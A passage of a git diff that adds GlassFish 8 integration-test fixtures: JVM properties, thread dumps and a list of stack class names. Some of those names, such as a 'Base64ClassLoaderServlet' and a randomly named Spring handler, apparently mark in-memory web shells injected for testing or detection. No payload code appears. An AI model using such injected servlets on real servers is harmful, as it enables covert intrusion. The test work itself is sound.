daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1c77c717 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.rmi@21.0.11/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"log-rotation-timer-for-GlassFishLogHandler" #53 daemon [WAITING] on java.util.TaskQueue@3b2bddc2 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"deployment-jar-scanner" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c9edb17 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"JobCleanUpTask" #66 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@64fdf75e + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-expirer(1)" #75 daemon [TIMED_WAITING] on java.lang.Object@2c413923 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixFrameworkWiring" #32 daemon [WAITING] on java.util.ArrayList@2f3e8634 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at OSGi//org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c9edb17 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c9edb17 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"transaction-manager" #69 daemon [WAITING] on java.util.TaskQueue@506b5cfa + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:537) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"FelixResolver-8" #36 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3ff0664b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Notification Thread" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.main.jul.handler.LogRecordBuffer +org.glassfish.main.jul.handler.LoggingOutputStream$Pump +org.glassfish.main.jul.handler.LoggingPumpThread +org.springframework.HCJNh.ErrorIooneHandler diff --git a/integration-test/src/test/resources/infos/GlassFish8ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish8ContainerTestBasicInfo.txt new file mode 100644 index 00000000..b8c4cf3b --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish8ContainerTestBasicInfo.txt @@ -0,0 +1,1369 @@ +# Generated At 2026-07-31 13:31:59 +SystemProps: +javax.xml.accessExternalSchema: all +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 21 +jdk.corba.allowOutputStreamSubclass: true +sun.jnu.encoding: UTF-8 +com.sun.aas.installRoot: /usr/local/glassfish8/glassfish +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +com.sun.aas.productRoot: /usr/local/glassfish8 +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.domainName: domain1 +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.GlassFishMain -upgrade false -domaindir /usr/local/glassfish8/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish8/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-modulepath /usr/local/glassfish8/glassfish/lib/bootstrap -asadmin-classpath /usr/local/glassfish8/glassfish/appserver-cli.jar:/usr/local/glassfish8/glassfish/admin-cli.jar:/usr/local/glassfish8/glassfish/lib/asadmin/cli-optional.jar:/usr/local/glassfish8/glassfish/lib/asadmin/cluster-cli.jar:/usr/local/glassfish8/glassfish/lib/asadmin/osgi-cli-interactive.jar:/usr/local/glassfish8/glassfish/lib/asadmin/server-mgmt.jar:/usr/local/glassfish8/glassfish/modules/admin-util.jar:/usr/local/glassfish8/glassfish/modules/backup.jar:/usr/local/glassfish8/glassfish/modules/cluster-common.jar:/usr/local/glassfish8/glassfish/modules/cluster-ssh.jar:/usr/local/glassfish8/glassfish/modules/config-api.jar:/usr/local/glassfish8/glassfish/modules/config-types.jar:/usr/local/glassfish8/glassfish/modules/common-util.jar:/usr/local/glassfish8/glassfish/modules/glassfish-api.jar:/usr/local/glassfish8/glassfish/modules/hk2.jar:/usr/local/glassfish8/glassfish/modules/hk2-config-generator.jar:/usr/local/glassfish8/glassfish/modules/internal-api.jar:/usr/local/glassfish8/glassfish/modules/jackson-core.jar:/usr/local/glassfish8/glassfish/modules/jakarta.activation-api.jar:/usr/local/glassfish8/glassfish/modules/jakarta.validation-api.jar:/usr/local/glassfish8/glassfish/modules/jakarta.xml.bind-api.jar:/usr/local/glassfish8/glassfish/modules/jaxb-osgi.jar:/usr/local/glassfish8/glassfish/modules/jettison.jar:/usr/local/glassfish8/glassfish/modules/jsch.jar:/usr/local/glassfish8/glassfish/modules/launcher.jar:/usr/local/glassfish8/glassfish/modules/mimepull.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +com.sun.aas.configName: server-config +jdk.debug: release +java.specification.vendor: Oracle Corporation +jdk.module.path: /usr/local/glassfish8/glassfish/lib/bootstrap +gosh.args: --nointeractive +java.version.date: 2026-04-21 +java.home: /opt/java/openjdk +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +file.separator: / +java.vm.compressedOopsMode: 32-bit +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +java.specification.name: Java Platform API Specification +com.sun.aas.derbyRoot: /usr/local/glassfish8/javadb +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.ee.authorization.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +javax.net.ssl.trustStore: /usr/local/glassfish8/glassfish/domains/domain1/config/cacerts.p12 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.11+10-LTS +GlassFish_Platform: Felix +user.name: root +WALL_CLOCK_START: 2026-07-31T13:31:56.734247792Z +felix.fileinstall.poll: 5000 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +com.sun.aas.imqLib: /usr/local/glassfish8/mq/lib +java.vendor.version: Temurin-21.0.11+10 +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish8/glassfish/domains/domain1/generated/policy +java.io.tmpdir: /tmp +java.version: 21.0.11 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /usr/local/glassfish8/glassfish/domains/domain1 +java.util.logging.config.block: true +native.encoding: UTF-8 +java.library.path: /usr/local/glassfish8/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +felix.fileinstall.dir: /usr/local/glassfish8/glassfish/modules/autostart/ +java.class.path: . +com.sun.aas.instanceRootURI: file:/usr/local/glassfish8/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.glassfish.exousia.modules.def.DefaultPolicyConfigurationFactory +org.glassfish.gmbal.no.multipleUpperBoundsException: true +java.vm.vendor: Eclipse Adoptium +user.timezone: Etc/UTC +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +config.parser: com.sun.enterprise.security.ee.authentication.jakarta.ConfigDomainParser +user.home: /root +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: 192.168.215.4 +jdk.xml.totalEntitySizeLimit: 50000000 +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +org.omg.CORBA.ORBClass: org.glassfish.enterprise.iiop.impl.GlassFishOrbImpl +com.sun.aas.instanceName: server +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +stdout.encoding: UTF-8 +path.separator: : +os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70 +com.sun.aas.installRootURI: file:/usr/local/glassfish8/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +com.sun.aas.configRoot: /usr/local/glassfish8/glassfish/config +com.sun.aas.imqBin: /usr/local/glassfish8/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /opt/java/openjdk +javax.net.ssl.keyStore: /usr/local/glassfish8/glassfish/domains/domain1/config/keystore.p12 +java.security.auth.login.config: /usr/local/glassfish8/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +catalina.home: /usr/local/glassfish8/glassfish/domains/domain1 +user.dir: /usr/local/glassfish8/glassfish/domains/domain1/config +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /usr/local/glassfish8/glassfish/domains/domain1 +java.util.logging.manager: org.glassfish.main.jul.GlassFishLogManager +com.sun.aas.agentRoot: /usr/local/glassfish8/glassfish/nodes +glassfish.version: Eclipse GlassFish 8.0.3 (commit: 00c8ff1c98b5a1fabfc4c8e922d9bd7398908c77) +java.vm.info: mixed mode, sharing +java.vm.version: 21.0.11+10-LTS +com.sun.aas.domainsRoot: /usr/local/glassfish8/glassfish/domains +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"EventAdminAsyncThread #1" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(2)" #63 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@771d7673 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #3" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fc17c15 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-9" #37 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-10" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixDispatchQueue" #23 daemon [WAITING] on java.util.ArrayList@7d280c73 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at OSGi//org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at OSGi//org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at OSGi//org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI Reaper" #117 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3acd0d51 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at java.rmi@21.0.11/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Accept-8686" #115 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:748) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:698) + at java.base@21.0.11/java.net.ServerSocket.platformImplAccept(ServerSocket.java:663) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:639) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:585) + at java.base@21.0.11/java.net.ServerSocket.accept(ServerSocket.java:543) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:424) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:388) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-100" #100 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@13cc1559 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener(5)" #81 daemon [WAITING] on java.lang.Object@1a63381 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:170) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + 